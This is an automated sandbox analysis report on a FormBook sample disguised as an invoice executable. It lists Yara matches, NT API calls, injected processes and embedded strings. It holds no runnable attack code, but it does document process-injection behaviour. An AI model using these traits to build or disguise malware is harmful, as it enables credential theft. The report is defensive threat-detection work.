Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: PT300975-inv.exe, 00000000.00000002.345062804.00000000013BB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large array initializations

Show sources

Source: PT300975-inv.exe, nNu0028/Fx1.cs	Large array initialization: d!3: array initializer size 91136
Source: 0.2.PT300975-inv.exe.c50000.0.unpack, nNu0028/Fx1.cs	Large array initialization: d!3: array initializer size 91136
Source: 0.0.PT300975-inv.exe.c50000.0.unpack, nNu0028/Fx1.cs	Large array initialization: d!3: array initializer size 91136

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00419D60 NtCreateFile,	2_2_00419D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00419E10 NtReadFile,	2_2_00419E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00419E90 NtClose,	2_2_00419E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00419D5D NtCreateFile,	2_2_00419D5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00419E0B NtReadFile,	2_2_00419E0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00419E8A NtClose,	2_2_00419E8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729540 NtReadFile,LdrInitializeThunk,	2_2_05729540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057295D0 NtClose,LdrInitializeThunk,	2_2_057295D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729710 NtQueryInformationToken,LdrInitializeThunk,	2_2_05729710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057297A0 NtUnmapViewOfSection,LdrInitializeThunk,	2_2_057297A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729780 NtMapViewOfSection,LdrInitializeThunk,	2_2_05729780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057296E0 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_057296E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729910 NtAdjustPrivilegesToken,LdrInitializeThunk,	2_2_05729910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057299A0 NtCreateSection,LdrInitializeThunk,	2_2_057299A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729860 NtQuerySystemInformation,LdrInitializeThunk,	2_2_05729860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729840 NtDelayExecution,LdrInitializeThunk,	2_2_05729840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729A50 NtCreateFile,LdrInitializeThunk,	2_2_05729A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729A20 NtResumeThread,LdrInitializeThunk,	2_2_05729A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729560 NtWriteFile,	2_2_05729560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0572AD30 NtSetContextThread,	2_2_0572AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729520 NtWaitForSingleObject,	2_2_05729520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057295F0 NtQueryInformationFile,	2_2_057295F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729770 NtSetInformationFile,	2_2_05729770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0572A770 NtOpenThread,	2_2_0572A770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729760 NtOpenProcess,	2_2_05729760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729730 NtQueryVirtualMemory,	2_2_05729730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0572A710 NtOpenProcessToken,	2_2_0572A710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729FE0 NtCreateMutant,	2_2_05729FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729670 NtQueryInformationProcess,	2_2_05729670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729660 NtAllocateVirtualMemory,	2_2_05729660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729650 NtQueryValueKey,	2_2_05729650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729610 NtEnumerateValueKey,	2_2_05729610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057296D0 NtCreateKey,	2_2_057296D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729950 NtQueueApcThread,	2_2_05729950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057299D0 NtCreateProcessEx,	2_2_057299D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0572B040 NtSuspendThread,	2_2_0572B040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729820 NtEnumerateKey,	2_2_05729820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057298F0 NtReadVirtualMemory,	2_2_057298F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057298A0 NtWriteVirtualMemory,	2_2_057298A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729B00 NtSetValueKey,	2_2_05729B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0572A3B0 NtGetContextThread,	2_2_0572A3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729A10 NtQuerySection,	2_2_05729A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729A00 NtProtectVirtualMemory,	2_2_05729A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05729A80 NtOpenDirectoryObject,	2_2_05729A80
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9A50 NtCreateFile,LdrInitializeThunk,	4_2_034A9A50
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	4_2_034A9910
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A99A0 NtCreateSection,LdrInitializeThunk,	4_2_034A99A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9840 NtDelayExecution,LdrInitializeThunk,	4_2_034A9840
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9860 NtQuerySystemInformation,LdrInitializeThunk,	4_2_034A9860
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9710 NtQueryInformationToken,LdrInitializeThunk,	4_2_034A9710
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9FE0 NtCreateMutant,LdrInitializeThunk,	4_2_034A9FE0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9780 NtMapViewOfSection,LdrInitializeThunk,	4_2_034A9780
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A96D0 NtCreateKey,LdrInitializeThunk,	4_2_034A96D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A96E0 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_034A96E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9540 NtReadFile,LdrInitializeThunk,	4_2_034A9540
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A95D0 NtClose,LdrInitializeThunk,	4_2_034A95D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9B00 NtSetValueKey,	4_2_034A9B00
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034AA3B0 NtGetContextThread,	4_2_034AA3B0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9A00 NtProtectVirtualMemory,	4_2_034A9A00
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9A10 NtQuerySection,	4_2_034A9A10
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9A20 NtResumeThread,	4_2_034A9A20
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9A80 NtOpenDirectoryObject,	4_2_034A9A80
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9950 NtQueueApcThread,	4_2_034A9950
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A99D0 NtCreateProcessEx,	4_2_034A99D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034AB040 NtSuspendThread,	4_2_034AB040
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9820 NtEnumerateKey,	4_2_034A9820
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A98F0 NtReadVirtualMemory,	4_2_034A98F0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A98A0 NtWriteVirtualMemory,	4_2_034A98A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9760 NtOpenProcess,	4_2_034A9760
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034AA770 NtOpenThread,	4_2_034AA770
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9770 NtSetInformationFile,	4_2_034A9770
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034AA710 NtOpenProcessToken,	4_2_034AA710
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9730 NtQueryVirtualMemory,	4_2_034A9730
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A97A0 NtUnmapViewOfSection,	4_2_034A97A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9650 NtQueryValueKey,	4_2_034A9650
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9660 NtAllocateVirtualMemory,	4_2_034A9660
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9670 NtQueryInformationProcess,	4_2_034A9670
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9610 NtEnumerateValueKey,	4_2_034A9610
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9560 NtWriteFile,	4_2_034A9560
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A9520 NtWaitForSingleObject,	4_2_034A9520
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034AAD30 NtSetContextThread,	4_2_034AAD30
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A95F0 NtQueryInformationFile,	4_2_034A95F0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009A9D60 NtCreateFile,	4_2_009A9D60
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009A9E90 NtClose,	4_2_009A9E90
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009A9E10 NtReadFile,	4_2_009A9E10
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009A9D5D NtCreateFile,	4_2_009A9D5D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009A9E8A NtClose,	4_2_009A9E8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009A9E0B NtReadFile,	4_2_009A9E0B

Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_00C70392	0_2_00C70392
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_00C6E5D9	0_2_00C6E5D9
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE4340	0_2_02DE4340
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE2520	0_2_02DE2520
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE3018	0_2_02DE3018
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE5E00	0_2_02DE5E00
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE4330	0_2_02DE4330
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DEA0AF	0_2_02DEA0AF
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE24A9	0_2_02DE24A9
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE3012	0_2_02DE3012
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DEF988	0_2_02DEF988
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DEF981	0_2_02DEF981
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE7EA0	0_2_02DE7EA0
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 0_2_02DE5DF0	0_2_02DE5DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00401030	2_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041D8D2	2_2_0041D8D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041E197	2_2_0041E197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041D313	2_2_0041D313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00402D87	2_2_00402D87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00402D90	2_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00409E40	2_2_00409E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041D63C	2_2_0041D63C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00409E3F	2_2_00409E3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041DF97	2_2_0041DF97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0041DFAA	2_2_0041DFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_00402FB0	2_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B1D55	2_2_057B1D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E0D20	2_2_056E0D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B2D07	2_2_057B2D07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FD5E0	2_2_056FD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B25DD	2_2_057B25DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712581	2_2_05712581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F841F	2_2_056F841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B1FF1	2_2_057B1FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05706E30	2_2_05706E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B2EF7	2_2_057B2EF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05704120	2_2_05704120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EF900	2_2_056EF900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1002	2_2_057A1002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B28EC	2_2_057B28EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B20A8	2_2_057B20A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FB090	2_2_056FB090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B2B28	2_2_057B2B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057ADBD2	2_2_057ADBD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571EBB0	2_2_0571EBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B22AE	2_2_057B22AE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03532B28	4_2_03532B28
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352DBD2	4_2_0352DBD2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349EBB0	4_2_0349EBB0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_035322AE	4_2_035322AE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346F900	4_2_0346F900
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03484120	4_2_03484120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03521002	4_2_03521002
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0353E824	4_2_0353E824
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_035328EC	4_2_035328EC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347B090	4_2_0347B090
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_035320A8	4_2_035320A8
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03531FF1	4_2_03531FF1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352D616	4_2_0352D616
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03486E30	4_2_03486E30
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03532EF7	4_2_03532EF7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03531D55	4_2_03531D55
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03532D07	4_2_03532D07
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03460D20	4_2_03460D20
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_035325DD	4_2_035325DD
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347D5E0	4_2_0347D5E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492581	4_2_03492581
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352D466	4_2_0352D466
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347841F	4_2_0347841F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009AE197	4_2_009AE197
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_00992D90	4_2_00992D90
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_00992D87	4_2_00992D87
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_00999E3F	4_2_00999E3F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_00999E40	4_2_00999E40
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009ADF97	4_2_009ADF97
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_00992FB0	4_2_00992FB0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_009ADFAA	4_2_009ADFAA

Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: String function: 0346B150 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: String function: 056EB150 appears 35 times

Source: PT300975-inv.exe	Binary or memory string: OriginalFilename vs PT300975-inv.exe
Source: PT300975-inv.exe, 00000000.00000002.345433163.0000000003039000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRunPe4.dll. vs PT300975-inv.exe
Source: PT300975-inv.exe, 00000000.00000002.344599838.0000000000C52000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameuse5.exeH vs PT300975-inv.exe
Source: PT300975-inv.exe, 00000000.00000002.345826499.0000000004021000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDESdgdhser.dll0 vs PT300975-inv.exe
Source: PT300975-inv.exe, 00000000.00000002.346817865.00000000055B0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs PT300975-inv.exe
Source: PT300975-inv.exe	Binary or memory string: OriginalFilenameuse5.exeH vs PT300975-inv.exe

Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
